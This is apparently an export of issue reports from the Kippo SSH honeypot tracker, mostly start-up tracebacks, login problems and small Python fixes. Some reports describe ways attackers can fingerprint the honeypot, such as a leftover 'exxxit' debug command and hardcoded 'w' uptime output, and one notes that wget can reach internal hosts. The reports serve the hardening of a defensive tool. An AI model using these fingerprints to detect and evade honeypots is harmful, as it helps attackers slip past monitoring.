From jfbethlehem on June 18, 2010 15:22:21

What steps will reproduce the problem? 1. wget http://ftp.epicsol.org/pub/epic/EPIC4-BETA/epic1.003.tar.gz 2. tar zxvf epic*
3. Hang What is the expected output? What do you see instead? untarred content What version of the product are you using? On what operating system? latest svn Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=14

From perlotto on May 21, 2010 00:48:14

What steps will reproduce the problem? 1. Start kippo
2. Attempted login 3. What is the expected output? What do you see instead? I would expect to be able to login and look around the honeyshell, but
cannot. I get he following log messages:

2010-05-20 23:02:08-0700 [-] Log opened.
2010-05-20 23:02:08-0700 [-] twistd 8.2.0 (/usr/bin/python 2.6.4) starting up.
2010-05-20 23:02:08-0700 [-] reactor class:
twisted.internet.selectreactor.SelectReactor.
2010-05-20 23:02:08-0700 [-] kippo.core.honeypot.HoneyPotSSHFactory
starting on 2222
2010-05-20 23:02:08-0700 [-] Starting factory
<kippo.core.honeypot.HoneyPotSSHFactory instance at 0x22de128>
2010-05-20 23:02:19-0700 [SSHServerTransport,0,10.1.1.69] kex alg, key alg:
diffie-hellman-group1-sha1 ssh-rsa
2010-05-20 23:02:19-0700 [SSHServerTransport,0,10.1.1.69] outgoing:
aes128-ctr hmac-md5 none
2010-05-20 23:02:19-0700 [SSHServerTransport,0,10.1.1.69] incoming:
aes128-ctr hmac-md5 none
2010-05-20 23:02:19-0700 [SSHServerTransport,0,10.1.1.69] NEW KEYS
2010-05-20 23:02:19-0700 [SSHServerTransport,0,10.1.1.69] starting service
ssh-userauth
2010-05-20 23:02:19-0700 [SSHService ssh-userauth on
SSHServerTransport,0,10.1.1.69] root trying auth none
2010-05-20 23:02:19-0700 [SSHServerTransport,0,10.1.1.69] connection lost
2010-05-20 23:02:32-0700 [SSHServerTransport,1,10.1.1.20] kex alg, key alg:
diffie-hellman-group1-sha1 ssh-rsa
2010-05-20 23:02:32-0700 [SSHServerTransport,1,10.1.1.20] outgoing:
aes128-cbc hmac-md5 none
2010-05-20 23:02:32-0700 [SSHServerTransport,1,10.1.1.20] incoming:
aes128-cbc hmac-md5 none
2010-05-20 23:02:32-0700 [SSHServerTransport,1,10.1.1.20] NEW KEYS
2010-05-20 23:02:32-0700 [SSHServerTransport,1,10.1.1.20] starting service
ssh-userauth
2010-05-20 23:02:32-0700 [SSHService ssh-userauth on
SSHServerTransport,1,10.1.1.20] root trying auth none
2010-05-20 23:02:34-0700 [SSHService ssh-userauth on
SSHServerTransport,1,10.1.1.20] root trying auth password
2010-05-20 23:02:34-0700 [SSHService ssh-userauth on
SSHServerTransport,1,10.1.1.20] login attempt [root/root] failed
2010-05-20 23:02:35-0700 [-] root failed auth password
2010-05-20 23:02:35-0700 [-] reason:
2010-05-20 23:02:35-0700 [-] Traceback (most recent call last):
Failure: twisted.cred.error.UnauthorizedLogin:

2010-05-20 23:02:38-0700 [SSHService ssh-userauth on
SSHServerTransport,1,10.1.1.20] root trying auth password
2010-05-20 23:02:38-0700 [SSHService ssh-userauth on
SSHServerTransport,1,10.1.1.20] login attempt [root/root] failed
2010-05-20 23:02:39-0700 [-] root failed auth password
2010-05-20 23:02:39-0700 [-] reason:
2010-05-20 23:02:39-0700 [-] Traceback (most recent call last):
Failure: twisted.cred.error.UnauthorizedLogin: What version of the product are you using? On what operating system? kippo-read-only

[lich@nosferatu projects]$ uname -a
Linux nosferatu.cataphract.com 2.6.31.13-server-1mnb #1 SMP Tue Apr 27
21:14:30 EDT 2010 x86_64 Dual Core AMD Opteron(tm) Processor 170 GNU/Linux Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=8

From desaster on November 23, 2009 17:23:17

"w" and "who" should display something more than just the headers. How can
I find the client IP address in twisted?

Original issue: http://code.google.com/p/kippo/issues/detail?id=1

From rafael.torrales on October 31, 2010 11:57:24

Hi, I'm finding problems when i try to attach Kippo to port 22

Mi Steps:

Chang sshd to listeng to other port

netstat check:

/root/otros/kippo-0.4$ netstat -nap
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:21 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22334 0.0.0.0:* LISTEN -
tcp 0 352 192.168.1.2:22334 192.168.1.13:57377 ESTABLISHED -
tcp 0 0 192.168.1.2:22334 192.168.1.13:57194 ESTABLISHED -
udp 0 0 192.168.1.2:137 0.0.0.0:* -
udp 0 0 0.0.0.0:137 0.0.0.0:* -
udp 0 0 192.168.1.2:138 0.0.0.0:* -
udp 0 0 0.0.0.0:138 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -

Active UNIX domain sockets (servers and established)

Kippo cfg

[honeypot]
ssh_port = 22
hostname = casa
log_path = log
download_path = dl
contents_path = honeyfs
filesystem_file = fs.pickle
public_key = public.key

private_key = private.key

root@debian:~/otros/kippo-0.4# ls -la /etc/authbind/byport/
total 0
drwxr-xr-x 2 root root 0 Oct 31 09:26 .
drwxr-xr-x 5 root root 0 Oct 31 09:04 ..
-rwxrwxr-x 1 netrunner netrunner 0 Oct 31 09:11 22
-rwxrwxr-x 1 netrunner netrunner 0 Oct 31 09:26 81

(actually netcat on port 81 works well)

/root/otros/kippo-0.4$ authbind ./start.sh

Starting kippo in background...Removing stale pidfile /root/otros/kippo-0.4/kippo.pid
/root/otros/kippo-0.4/kippo/commands/ping.py:6: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import time, re, random, md5

output: Kippo log

2010-10-31 09:50:12+0000 [-] Log opened.
2010-10-31 09:50:12+0000 [-] twistd 8.2.0 (/usr/bin/python 2.6.2) starting up.
2010-10-31 09:50:12+0000 [-] reactor class: twisted.internet.selectreactor.SelectReactor.
2010-10-31 09:50:12+0000 [-] Traceback (most recent call last):
2010-10-31 09:50:12+0000 [-] File "/usr/bin/twistd", line 21, in
2010-10-31 09:50:12+0000 [-] run()
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/scripts/twistd.py", line 27, in run
2010-10-31 09:50:12+0000 [-] app.run(runApp, ServerOptions)
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line 694, in run
2010-10-31 09:50:12+0000 [-] runApp(config)
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/scripts/twistd.py", line 23, in runApp
2010-10-31 09:50:12+0000 [-] _SomeApplicationRunner(config).run()
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/application/app.py", line 423, in run
2010-10-31 09:50:12+0000 [-] self.postApplication()
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/scripts/_twistd_unix.py", line 206, in postApplication
2010-10-31 09:50:12+0000 [-] self.startApplication(self.application)
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/scripts/_twistd_unix.py", line 311, in startApplication
2010-10-31 09:50:12+0000 [-] service.IService(application).privilegedStartService()
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/application/service.py", line 273, in privilegedStartService
2010-10-31 09:50:12+0000 [-] service.privilegedStartService()
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/application/internet.py", line 85, in privilegedStartService
2010-10-31 09:50:12+0000 [-] self._port = self._getPort()
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/application/internet.py", line 116, in _getPort
2010-10-31 09:50:12+0000 [-] _self.args, *_self.kwargs)
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/internet/posixbase.py", line 356, in listenTCP
2010-10-31 09:50:12+0000 [-] p.startListening()
2010-10-31 09:50:12+0000 [-] File "/usr/lib/python2.6/dist-packages/twisted/internet/tcp.py", line 858, in startListening
2010-10-31 09:50:12+0000 [-] raise CannotListenError, (self.interface, self.port, le)
2010-10-31 09:50:12+0000 [-] twisted.internet.error.CannotListenError: Couldn't listen on any:22: [Errno 13] Permission denied.

Thanks in advance!!!!

Original issue: http://code.google.com/p/kippo/issues/detail?id=26

From jack.zielke on February 03, 2011 18:01:56

There is a debugging logout command. There is a chance that scanners will start testing for it. Maybe it should be commented out by default or added to the config. On my own install I changed it to trigger on a different word.

Original issue: http://code.google.com/p/kippo/issues/detail?id=33

From [email protected] on April 17, 2010 17:28:55

What steps will reproduce the problem? 1. attempt to start program as non privileged What is the expected output? What do you see instead? Expect the program to start but it bails:

/usr/local/src/kippo-0.4/start.sh
Starting kippo in
background.../usr/lib/python2.6/site-packages/twisted/persisted/sob.py:12:
DeprecationWarning: the md5 module is deprecated; use hashlib instead
import os, md5, sys
/usr/lib/python2.6/site-packages/twisted/python/filepath.py:12:
DeprecationWarning: the sha module is deprecated; use the hashlib module
instead
import sha
Traceback (most recent call last):
File "/usr/lib/python2.6/site-packages/twisted/application/app.py", line
694, in run
runApp(config)
File "/usr/lib/python2.6/site-packages/twisted/scripts/twistd.py", line
23, in runApp
_SomeApplicationRunner(config).run()
File "/usr/lib/python2.6/site-packages/twisted/application/app.py", line
411, in run
self.application = self.createOrGetApplication()
File "/usr/lib/python2.6/site-packages/twisted/application/app.py", line
494, in createOrGetApplication
application = getApplication(self.config, passphrase)
--- ---
File "/usr/lib/python2.6/site-packages/twisted/application/app.py", line
505, in getApplication
application = service.loadApplication(filename, style, passphrase)
File "/usr/lib/python2.6/site-packages/twisted/application/service.py",
line 390, in loadApplication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "/usr/lib/python2.6/site-packages/twisted/persisted/sob.py", line
207, in loadValueFromFile
fileObj = open(filename, mode)
exceptions.IOError: [Errno 2] No such file or directory: 'kippo.tac'

Failed to load application: [Errno 2] No such file or directory: 'kippo.tac' What version of the product are you using? On what operating system? kippo-0.4 on Slackware 13 Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=5

From jfbethlehem on June 21, 2010 16:08:23

Last 25 users connecting to honeypot will be seen using 'last'.
anydbm database, logs all in a last-like format.

Attachment: last.tar.bz2

Original issue: http://code.google.com/p/kippo/issues/detail?id=16

From [email protected] on October 17, 2010 02:00:39

What steps will reproduce the problem? 1. running createfs.py as root under FreeBSD:

./createfs.py /root/createfs.py > fs.pickle

Traceback (most recent call last):
File "./createfs.py", line 58, in
recurse('/', tree[A_CONTENTS], tree[A_CONTENTS])
File "./createfs.py", line 34, in recurse
recurse(path, entry[A_CONTENTS])
File "./createfs.py", line 34, in recurse
recurse(path, entry[A_CONTENTS])
File "./createfs.py", line 23, in recurse
s = os.stat(path)
OSError: [Errno 9] Bad file descriptor: '/dev/fd/3'

I am not a FreeBSD expert, but apparently dev/fd/* are not real files, don't know what the correct term for this feature of the OS is.

FYI, here is du output:

df -h

Filesystem Size Used Avail Capacity Mounted on
/dev/ad0s1a 496M 353M 103M 77% /
devfs 1.0K 1.0K 0B 100% /dev
/dev/ad0s1e 496M 31M 425M 7% /tmp
/dev/ad0s1f 24G 15G 7.2G 67% /usr
/dev/ad0s1d 1.4G 503M 846M 37% /var
/dev/ad3s1 496M 143M 313M 31% /media/disk5
fdescfs 1.0K 1.0K 0B 100% /dev/fd
/dev/ad2s1 451G 260G 155G 63% /media/disk8

Original issue: http://code.google.com/p/kippo/issues/detail?id=24

From netwurked on February 07, 2011 10:58:00

What steps will reproduce the problem? ---

1. use mysql logging
2. add sensor_name=myhostname What is the expected output? What do you see instead? ---

Sensors MySQL table should have sensor name instead of IP address. Unless I am not understanding what it does :p What version of the product are you using? On what operating system? ---

SVN on Windows 7 and Debian 6.0 Please provide any additional information below. Attached is my config. I have removed the IP and password of the mysql db.

Attachment: kippo.cfg

Original issue: http://code.google.com/p/kippo/issues/detail?id=34

From [email protected] on February 02, 2011 20:25:53

What steps will reproduce the problem? 1. Install Kippo behind a firewall
2. Log into the honeypot
3. Use wget with IPs in the local network What is the expected output? What do you see instead? Kippo should prevent the wgets to internal servers or localhost (have options for that). Instead, Kippo will happily allow access to these servers. What version of the product are you using? On what operating system? 0.5

Original issue: http://code.google.com/p/kippo/issues/detail?id=31

From jfbethlehem on June 15, 2010 12:09:09

What steps will reproduce the problem? 1. Leave sensor name unconfigured
2. Run kippo & print sensor name
3. Get 127.0.1.1 What is the expected output? What do you see instead? 192.168.x.x, 10.x.x.x, whatever, just not local-net address. What version of the product are you using? On what operating system? Kippo latest svn Please provide any additional information below. When using generated sensors, it's probably best to be able to use IP address of the used connection as sensor name:

AttackerHost -> eth0 -> eth0 IP address = sensorname
AttackerHost -> eth4 -> eth4 IP address = sensorname

Each session would therefore have their own sensorname/sensorip.

This for systems that use several different interfaces for kippo to listen on.

Original issue: http://code.google.com/p/kippo/issues/detail?id=11

From nicolas.surribas on May 27, 2011 17:52:39

Hello !

The file commands/base.py contains a command called 'exxxit' 'for testing purposes' that can be used by attackers to detect if they are on a Kippo server or on a normal SSH server.

I suggest to remove this command from the source code.

Original issue: http://code.google.com/p/kippo/issues/detail?id=41

From jfbethlehem on September 13, 2010 13:16:17

What steps will reproduce the problem? 1. ls ; who ; ls ; who ; ls
2. gives in log: ls ; who ; ls ; who ; ls What is the expected output? What do you see instead? in log:

ls
who
ls
who
ls What version of the product are you using? On what operating system? latest SVN Please provide any additional information below. Fix:
{{{
def lineReceived(self, line):
for i in [x.strip() for x in line.strip().split(';')]:
print 'CMD: %s' % i # this line was above the for-loop. this location is better for logging.
if not len(i):
continue
self.cmdpending.append(i)
if len(self.cmdpending):
self.runCommand()
else:
self.showPrompt()

}}}

Original issue: http://code.google.com/p/kippo/issues/detail?id=20

From davidhtn on November 11, 2011 15:08:54

Requesting more commands
every user that connects uses the df command.
this is missing.

also would it be possible to allow vi or nano to work from inside the honeypot.
people seem to download generic scripts, and attempt to modify them.
when they can't do so, they quit.

it would be interesting to see what information they put inside the files.
but also save the revision just in case they try to delete the file before logging out.

Original issue: http://code.google.com/p/kippo/issues/detail?id=45

From owen.carter on February 10, 2011 16:31:19

A simple RFE:
It would be really handy to be able to set a SSH login banner for kippo in order to make it resemble a 'legitimate' target in my company; all our genuine servers have a specific banner page on the logins..

Original issue: http://code.google.com/p/kippo/issues/detail?id=36

Skipping this issue number to maintain synchronization with Google Code issue IDs.

Original issue: http://code.google.com/p/kippo/issues/detail?id=25

From [email protected] on March 09, 2012 05:51:50

What steps will reproduce the problem? 1. passdb.py ../data/pass.db add root What is the expected output? What do you see instead? Expected to add password to database. Result: Type error thrown.

[root@galactic data]# ../utils/passdb.py pass.db add root
Traceback (most recent call last):
File "../utils/passdb.py", line 16, in
db[sys.argv[3]] = None
TypeError: gdbm mappings have string elements only What version of the product are you using? On what operating system? kippo 0.5-1 from Arch AUR. Arch Linux, Python 2.7.2 Please provide any additional information below. Change the line in passdb.py:
db[sys.argv[3]] = None

to

db[sys.argv[3]] = ""

Original issue: http://code.google.com/p/kippo/issues/detail?id=50

From koslibpro on June 03, 2011 19:16:08

What steps will reproduce the problem? 1.Open the terminal and cd to kippo path(mine is /home/kippo)
2.type ./start.sh

The expected output is just the following>>"Starting kippo in background...Loading dblog engine: mysql"

I'm using kippo-0.5,on Ubuntu Linux 11.4.

I copied the whole terminal screen:
kostas@kostas-P5Q-E:/home/kippo$ ./start.sh
Starting kippo in background...Loading dblog engine: mysql
Generating RSA keypair...

Failed to load application: [Errno 13] Permission denied: 'public.key'

Can anyone help me..?i would be extremely gratefull cause it's kinda urgent..

thanks in advance:)

Original issue: http://code.google.com/p/kippo/issues/detail?id=42

From CriticalBill on June 07, 2010 01:20:11

What steps will reproduce the problem? 1. Run kippo via "./start.sh"
2. Attempt an ssh connection to port 22 What is the expected output? What do you see instead? I would expect to get a login prompt and be able to login. Instead I never
receive a login prompt and my SSH session hangs. What version of the product are you using? On what operating system? kippo-0.4 running on a CentOS 5.4 Virtalbox machine. The host OS is Ubuntu
10.0.4 Please provide any additional information below. Here are the details..

1. kippo host is 192.168.250.118
2. Created a user called 'kippo'.
3. Run kippo via "./start.sh" as the 'kippo' user. Everthing starts OK. A
   netstat shows '0.0.0.0:2222'with python as the program name on the port.
4. From the kippo host itself I can login just fine using 'ssh -p 2222
   root@localhost'. Everything runs great.
5. However, trying to login to kippo from another host on a different
   network fails. For example, from 192.168.253.x trying to access my kippo
   host using 'ssh -p 2222 [email protected]' fails. I would expect to get
   a login prompt and be able to login. Instead I never receive a login
   prompt and my SSH session hangs.
6. tcpdump shows '192.168.250.118 -> 192.168.253.112: ICMP host
   192.168.250.118 unreachable - admin prohibited'
7. kippo host can access Internet just fine and I can also ping it from
   the 192.168.253.112 host
8. Last point, I also have normal ssh (port 22) running on my kippo host
   and I can login just fine from the 192.168.253.112 host.

So, I'm stumped. I don't know what it is about kippo and port 2222 that
won't let me login remotely. Thanks.

Original issue: http://code.google.com/p/kippo/issues/detail?id=9

From eternity0022 on November 25, 2010 07:33:02

What steps will reproduce the problem? When I run the tty sessions using the below command, I see no output at all while I can see many connection attempts and tries on the terminal.
here is the command
./playlog.py -fb kippo-0.5/log/tty/20101107-223800-5695.log 0

so the question is, how do I see the log file of connection attemts - username and passwords?

Running on ubuntu 10.10

Original issue: http://code.google.com/p/kippo/issues/detail?id=28

From soczol on February 08, 2011 23:39:49

Could there please be some way to limit the amount of traffic these attackers can make? I have been running it for 5 minutes now and people have already downloaded various ISO files ranging from 1 to 5GB.

Might be nice to have wget fail with some error after say 100MB has been reached.

Original issue: http://code.google.com/p/kippo/issues/detail?id=35

From markcunninghamemail on February 29, 2012 05:24:21

This is kind of a bug or low priority bug anyway. (there's a solution at the bottom though)

unhandled exception when banner file doesn't exist What steps will reproduce the problem? 1. set the banner to some non existent file
2. start the server
3. convince yourself it's running fine
4. try connect via ssh and put in a username,
5. wait infinitely for banner to come through What is the expected output? What do you see instead? i see blank
should see password prompt What version of the product are you using? On what operating system? latest version of svn
Revision: 214 according to svn

Solution:
line 537 in sendBanner in HoneyPotSSHUserAuthServer class

    try:
        data = file(cfg.get('honeypot', 'banner_file')).read()
    except IOError:
        print 'Banner file ' + cfg.get('honeypot', 'banner_file') + ' does not exist!'
        return

instead of

    data = file(cfg.get('honeypot', 'banner_file')).read()

Original issue: http://code.google.com/p/kippo/issues/detail?id=49

From perlotto on May 21, 2010 00:03:02

What steps will reproduce the problem? 1. Starting kippo 2. 3. What is the expected output? What do you see instead? Expected is nothing, python errors occur:

[kippo@nosferatu ~]$ ./start.sh
Starting kippo in
background.../usr/lib64/python2.6/site-packages/twisted/conch/ssh/transport.py:16:
DeprecationWarning: the md5 module is deprecated; use hashlib instead
import md5
/usr/lib64/python2.6/site-packages/twisted/conch/ssh/transport.py:17:
DeprecationWarning: the sha module is deprecated; use the hashlib module
instead
import sha What version of the product are you using? On what operating system? kippo-read-only

[lich@nosferatu projects]$ uname -a
Linux nosferatu.cataphract.com 2.6.31.13-server-1mnb #1 SMP Tue Apr 27
21:14:30 EDT 2010 x86_64 Dual Core AMD Opteron(tm) Processor 170 GNU/Linux Please provide any additional information below.

Original issue: http://code.google.com/p/kippo/issues/detail?id=7

Skipping this issue number to maintain synchronization with Google Code issue IDs.

Original issue: http://code.google.com/p/kippo/issues/detail?id=37

From hanskanns on December 07, 2011 13:12:12

What steps will reproduce the problem? B:\kippo-0.5>C:\Python26\Scripts\twistd.py -y kippo.tac
B:\kippo-0.5\kippo\commands\ping.py:6: DeprecationWarning: the md5 module is deprecated; u
se hashlib instead
import time, re, random, md5
Traceback (most recent call last):
File "C:\Python26\lib\site-packages\twisted\application\app.py", line 631, in run
runApp(config)
File "C:\Python26\lib\site-packages\twisted\scripts\twistd.py", line 23, in runApp
_SomeApplicationRunner(config).run()
File "C:\Python26\lib\site-packages\twisted\application\app.py", line 374, in run
self.application = self.createOrGetApplication()
File "C:\Python26\lib\site-packages\twisted\application\app.py", line 439, in createOrGe
tApplication
application = getApplication(self.config, passphrase)
--- ---
File "C:\Python26\lib\site-packages\twisted\application\app.py", line 450, in getApplica
tion
application = service.loadApplication(filename, style, passphrase)
File "C:\Python26\lib\site-packages\twisted\application\service.py", line 400, in loadAp
plication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "C:\Python26\lib\site-packages\twisted\persisted\sob.py", line 210, in loadValueFro
mFile
exec fileObj in d, d
File "kippo.tac", line 34, in
factory.privateKeys = {'ssh-rsa': keys.Key.fromString(data=privKeyString)}
File "C:\Python26\lib\site-packages\twisted\conch\ssh\keys.py", line 90, in fromString
return method(data, passphrase)
File "C:\Python26\lib\site-packages\twisted\conch\ssh\keys.py", line 234, in _fromString
_PRIVATE_OPENSSH
return Class(RSA.construct((n, e, d, p, q)))
File "C:\Python26\lib\site-packages\Crypto\PublicKey\RSA.py", line 175, in construct
key = self._math.rsa_construct(*tup)
File "C:\Python26\lib\site-packages\Crypto\PublicKey_slowmath.py", line 75, in rsa_cons
truct
assert isinstance(e, long)
exceptions.AssertionError:

Failed to load application:

B:\kippo-0.5>

Original issue: http://code.google.com/p/kippo/issues/detail?id=46

From [email protected] on April 18, 2010 18:03:33

What steps will reproduce the problem? 1. Log in to kippo with an ssh client
2. try to exit the session with quit/exit/ctrl -c What is the expected output? What do you see instead? Expect the client to log out/exit as if it were a real sshd server.

Fails to logout, drops back to 'localhost' prompt but remains connected.
Kippo output:
2010-04-18 15:58:05+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] CMD: quit
2010-04-18 15:58:09+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] CMD: exit
2010-04-18 15:58:13+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] CMD: ls
2010-04-18 15:58:18+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] Received unhandled
keyID: '\x03'
2010-04-18 15:58:22+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] CMD: whoami
2010-04-18 15:58:27+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] CMD: quit
2010-04-18 15:58:28+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] Received unhandled
keyID: '\x03'
2010-04-18 15:58:31+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] CMD: exit
2010-04-18 15:58:43+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] Received unhandled
keyID: '\x03'
2010-04-18 15:58:45+0100 [SSHChannel session (0) on SSHService
ssh-connection on SSHServerTransport,0,xxx.xxx.xxx.xxx] Received unhandled
keyID: '\x1d'

Original issue: http://code.google.com/p/kippo/issues/detail?id=6

From alfonso.caponi on September 26, 2010 16:59:32

What steps will reproduce the problem? 1. passwd or passdb.py utility?
2. I've enabled mysql support, but it seems doesn't work.
3. I've modified the password field in kippo.cfg to have root/root, but I works only add root password with passdb.py utility.

Original issue: http://code.google.com/p/kippo/issues/detail?id=23

From jfbethlehem on September 13, 2010 16:14:49

What steps will reproduce the problem? 1. # shutdown -h now
2. # shutdown -r now
3. # shutdown --help

Fix:

class command_shutdown(HoneyPotCommand):
def start(self):
if len(self.args) and self.args[0].strip().count('--help'):
output = ("Usage: shutdown [-akrhHPfnc] [-t secs] time [warning message]",
"-a: use /etc/shutdown.allow ",
"-k: don't really shutdown, only warn. " ,
"-r: reboot after shutdown. " ,
"-h: halt after shutdown. " ,
"-P: halt action is to turn off power. " ,
"-H: halt action is to just halt. " ,
"-f: do a 'fast' reboot (skip fsck). " ,
"-F: Force fsck on reboot. " ,
"-n: do not go through "init" but go down real fast. " ,
"-c: cancel a running shutdown. " ,
"-t secs: delay between warning and kill signal. " ,
"** the "time" argument is mandatory! (try "now") **",
)
for l in output:
self.writeln(l)
self.exit()
elif len(self.args) and self.args[0].strip().count('-h') and self.args[1].strip().count('now'):
self.nextLine()
self.writeln(
'Broadcast message from root@%s (pts/0) (%s):' %
(self.honeypot.hostname, time.ctime()))
self.nextLine()
self.writeln('The system is going down for maintenance NOW!')
reactor.callLater(3, self.finish)
elif len(self.args) and self.args[0].strip().count('-r') and self.args[1].strip().count('now'):
self.nextLine()
self.writeln(
'Broadcast message from root@%s (pts/0) (%s):' %
(self.honeypot.hostname, time.ctime()))
self.nextLine()
self.writeln('The system is going down for reboot NOW!')
reactor.callLater(3, self.finish)
else:
self.writeln("Try `shutdown --help' for more information.")
self.exit()
return

def finish(self):
    self.writeln('Connection to server closed.')
    self.honeypot.hostname = 'localhost'
    self.honeypot.cwd = '/root'
    self.exit()

commands['/sbin/shutdown'] = command_shutdown

Original issue: http://code.google.com/p/kippo/issues/detail?id=21

From panix187 on June 16, 2010 04:33:56

Heh, I tried installing this on my Windows XP SP3 box running another Python honeypot (Glastopf). While I installed the packages on the KippoOnWindows page, I also had to install the following packages:

zope.interface-3.6.1
pyasn1-0.0.11a

Now that I have all that installed (and a brand new installation of Python 2.6.5), I'm getting this error trying to start the program:

C:\honeypot\kippo\kippo-0.4>c:\python26\scripts\twistd.py -y kippo.tac
C:\honeypot\kippo\kippo-0.4\kippo\commands\ping.py:6: DeprecationWarning: the md5 module is deprecated; use hashlib instead
import time, re, random, md5
Traceback (most recent call last):
File "C:\Python26\lib\site-packages\twisted\application\app.py", line 693, in run
runApp(config)
File "C:\Python26\lib\site-packages\twisted\scripts\twistd.py", line 23, in runApp
_SomeApplicationRunner(config).run()
File "C:\Python26\lib\site-packages\twisted\application\app.py", line 411, in run
self.application = self.createOrGetApplication()
File "C:\Python26\lib\site-packages\twisted\application\app.py", line 494, in createOrGetApplication
application = getApplication(self.config, passphrase)
--- ---
File "C:\Python26\lib\site-packages\twisted\application\app.py", line 505, in getApplication
application = service.loadApplication(filename, style, passphrase)
File "C:\Python26\lib\site-packages\twisted\application\service.py", line 390, in loadApplication
application = sob.loadValueFromFile(filename, 'application', passphrase)
File "C:\Python26\lib\site-packages\twisted\persisted\sob.py", line 210, in loadValueFromFile
exec fileObj in d, d
File "kippo.tac", line 20, in
factory.portal = portal.Portal(honeypot.HoneyPotRealm())
File "C:\honeypot\kippo\kippo-0.4\kippo\core\honeypot.py", line 278, in init
self.env = HoneyPotEnvironment()
File "C:\honeypot\kippo\kippo-0.4\kippo\core\honeypot.py", line 271, in init
self.cfg.get('honeypot', 'filesystem_file')))
File "C:\Python26\lib\pickle.py", line 1370, in load
return Unpickler(file).load()
File "C:\Python26\lib\pickle.py", line 858, in load
dispatchkey
File "C:\Python26\lib\pickle.py", line 970, in load_string
raise ValueError, "insecure string pickle"
exceptions.ValueError: insecure string pickle

Failed to load application: insecure string pickle

I don't know much about Python besides the little bit of editing I did on my copy of Glastopf. I have no clue what pickling is and I'm not finding much immediately on Google although I'm gonna search around a bit more once I submit this.

I figured I'd let others know about the other packages you'll need (remember to do python setup.py install or just get an executable) and I was hoping to get some help so I can get this bad boy running. Seems pretty fun after checking out the logs posted.

I'd appreciate anybody who could steer me in the right direction.

Original issue: http://code.google.com/p/kippo/issues/detail?id=13

From aleksander.stromland on June 24, 2010 12:56:37

What steps will reproduce the problem? 1. putty on to your own honeypot
2. type "passwd"
3. enter a new unix password What is the expected output? What do you see instead? It should add this new password to the list of usable password, but instead it allways tells me password does not match. What version of the product are you using? On what operating system? 0.4 on Ubuntu Server Please provide any additional information below. I see in the code that it has not been implemented. I am not a very good python progammer and I dont know this code in and out. I whould really appreciate if you have a quickfiks.

Original issue: http://code.google.com/p/kippo/issues/detail?id=17

From ikoniaris on January 03, 2012 02:14:55

What steps will reproduce the problem? 1. Login to the honeypot system (eg root/123456)
2. Type 'w' in the terminal

Every Kippo installation seems to have hardcoded the following values for the 'w' command: "up 14 days, 3:53, 1 user, load average: 0.08, 0.02, 0.01". What version of the product are you using? On what operating system? Latest SVN version on Ubuntu Server 11.04 Please provide any additional information below. As you realise it's relatively easy for an attacker to know from the second he runs the w command (usually the first or second input on a TTY session) that this is a Kippo honeypot.

Proposed fix: Either put the value in the config file and let the user change it accordingly, or use a rand()-like function for a realistic value.

Original issue: http://code.google.com/p/kippo/issues/detail?id=47

From [email protected] on March 04, 2011 21:22:06

What steps will reproduce the problem? 1. use wget in honeypot
2. kippo generates tracebacks ; honeypot freezes up + times out What is the expected output? What do you see instead? I expect hack0rs to pull down their rootkits without issue. ;)

wget is available outside of the honeypot ; there is no egress/OUTPUT filter on the OS hosting the honeypot What version of the product are you using? On what operating system? kippo 0.5 atop i386 CentOS 5.5 Xen DomU within i386 CentOS 5.5 Dom0 Please provide any additional information below. Traceback:
2011-03-04 10:05:10-0500 [kippo.core.honeypot.HoneyPotSSHFactory] New connection: 89.123.100.59:26067 (xxx.xxx.xxx.xxx:2222) [session: 8330]
2011-03-04 10:05:10-0500 [HoneyPotTransport,8330,89.123.100.59] Remote SSH version: SSH-2.0-PuTTY_Release_0.60
2011-03-04 10:05:10-0500 [HoneyPotTransport,8330,89.123.100.59] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2011-03-04 10:05:10-0500 [HoneyPotTransport,8330,89.123.100.59] outgoing: aes256-ctr hmac-sha1 none
2011-03-04 10:05:10-0500 [HoneyPotTransport,8330,89.123.100.59] incoming: aes256-ctr hmac-sha1 none
